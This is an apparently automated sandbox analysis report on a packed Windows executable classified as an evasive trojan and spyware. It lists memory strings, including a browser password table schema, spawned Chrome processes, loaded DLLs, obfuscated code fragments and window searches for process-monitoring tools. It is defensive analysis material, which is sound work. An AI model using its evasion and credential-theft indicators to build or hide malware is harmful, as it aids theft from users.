Source: file.exe, 00000000.00000003.1626713300.00000000058D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632111815.0000000005A9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1640070058.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634043160.0000000005B56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638747444.0000000005B95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641580131.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642336689.0000000005A92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641071879.0000000005BBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634594912.0000000005A98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641961320.0000000005BC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1636992560.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646155808.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1735272102.0000000000D01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1631027220.00000000054D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634692734.0000000005B57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639161824.0000000005B95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632318647.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644638947.0000000005CFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1633372588.0000000005C10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1633293341.0000000005B4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632580399.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1635080529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638593331.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645741270.0000000005BD4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639582663.0000000005C9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1631102291.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632189563.00000000054D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1637935035.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675495133.000000000573A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638474126.0000000005B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1635167046.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644926554.0000000005BC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639702119.0000000005A9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1633042136.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634502130.0000000005B52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1635644069.0000000005B70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1640226313.0000000005BA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1633126976.0000000005BF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1637335509.0000000005B83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1633462176.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1635541352.0000000005A96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632807838.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638351958.0000000005A96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632646956.0000000005A93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639445203.0000000005B93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644367346.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1637691701.0000000005A98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645058714.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1741565013.0000000005E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639823793.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1636507768.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632407526.00000000054D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632873373.00000000054D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644505416.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675937999.0000000000D01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634410587.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1635441148.0000000005C40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639012113.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1636205138.0000000005A95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675429935.0000000005892000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632727881.00000000054D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1637578113.0000000005B88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634792933.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644091205.0000000005BBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1630715022.00000000054D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1633213458.0000000005A99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1630791351.0000000005A9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1630869736.00000000054DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1626713300.0000000005912000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 1.0003675622693726
Source: file.exe	Static PE information: Section: kyakkiqf ZLIB complexity 0.9947797870550403

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/61@7/8

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1383660120.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1341233409.00000000056B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1341498719.0000000005699000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=1884,i,14134926898300580287,14773111574658681454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1908,i,15999710773060116584,16859833196687087403,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=1884,i,14134926898300580287,14773111574658681454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1908,i,15999710773060116584,16859833196687087403,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1865728 > 1048576

Source: file.exe

Static PE information: Raw size of kyakkiqf is bigger than: 0x100000 < 0x1a1e00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.320000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kyakkiqf:EW;vyvolfkl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kyakkiqf:EW;vyvolfkl:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d49ab should be: 0x1ce833

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: kyakkiqf
Source: file.exe	Static PE information: section name: vyvolfkl
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5E69E push 5DC73F01h; mov dword ptr [esp], eax	0_2_05E5F390
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5E69E push 5B30FE21h; mov dword ptr [esp], edx	0_2_05E5F398
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E625C6 push 05E67DEDh; mov dword ptr [esp], edx	0_2_05E625DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E625C6 push edx; mov dword ptr [esp], 755F21C0h	0_2_05E625E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5E5D7 push 1DDA5DB7h; mov dword ptr [esp], esi	0_2_05E5EB90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E615D1 push ecx; mov dword ptr [esp], esi	0_2_05E639F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5D5DB push edx; mov dword ptr [esp], 1306C5FEh	0_2_05E5D640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5D5DB push 0108D68Bh; mov dword ptr [esp], ebp	0_2_05E5E57E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5D5DB push 4CA318A4h; mov dword ptr [esp], esp	0_2_05E5E586
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E60DB6 push 388A837Ah; mov dword ptr [esp], ebp	0_2_05E608DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E60DB6 push 53D685DAh; mov dword ptr [esp], esi	0_2_05E634FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E60DB6 push 3F68C275h; mov dword ptr [esp], edx	0_2_05E64E4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E62DB2 push 53D685DAh; mov dword ptr [esp], esi	0_2_05E634FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5E5BA push 75C18975h; mov dword ptr [esp], ebp	0_2_05E5F41A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5E5BA push 0D09F8C0h; mov dword ptr [esp], edx	0_2_05E5F5C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5E59B push esi; mov dword ptr [esp], edi	0_2_05E5E982
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E61D51 push ebx; mov dword ptr [esp], edi	0_2_05E61D54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E61D51 push ebp; mov dword ptr [esp], ecx	0_2_05E6381B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5C55F push ebp; mov dword ptr [esp], edx	0_2_05E5CCD6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E68539 push 2AFC7AF4h; mov dword ptr [esp], esi	0_2_05E689C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E68539 push esi; mov dword ptr [esp], ecx	0_2_05E68AA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E68539 push 62E617ABh; mov dword ptr [esp], ebx	0_2_05E68B15
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E68539 push 0FD5E398h; mov dword ptr [esp], edx	0_2_05E68B68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E68539 push 3E7AC33Ah; mov dword ptr [esp], eax	0_2_05E68BCB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5F4E2 push ebx; mov dword ptr [esp], edi	0_2_05E5F4FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E614E1 push 3F36A426h; mov dword ptr [esp], ebp	0_2_05E614EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E63CED push eax; mov dword ptr [esp], esi	0_2_05E63D0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5BCF7 push es; retf	0_2_05E5BD09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5E4F1 push 0108D68Bh; mov dword ptr [esp], ebp	0_2_05E5E57E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5E4F1 push 4CA318A4h; mov dword ptr [esp], esp	0_2_05E5E586
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E5C4D6 push edx; mov dword ptr [esp], 046BAA0Bh	0_2_05E5C680

Source: file.exe	Static PE information: section name: entropy: 7.977437130213355
Source: file.exe	Static PE information: section name: kyakkiqf entropy: 7.95475724086399

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
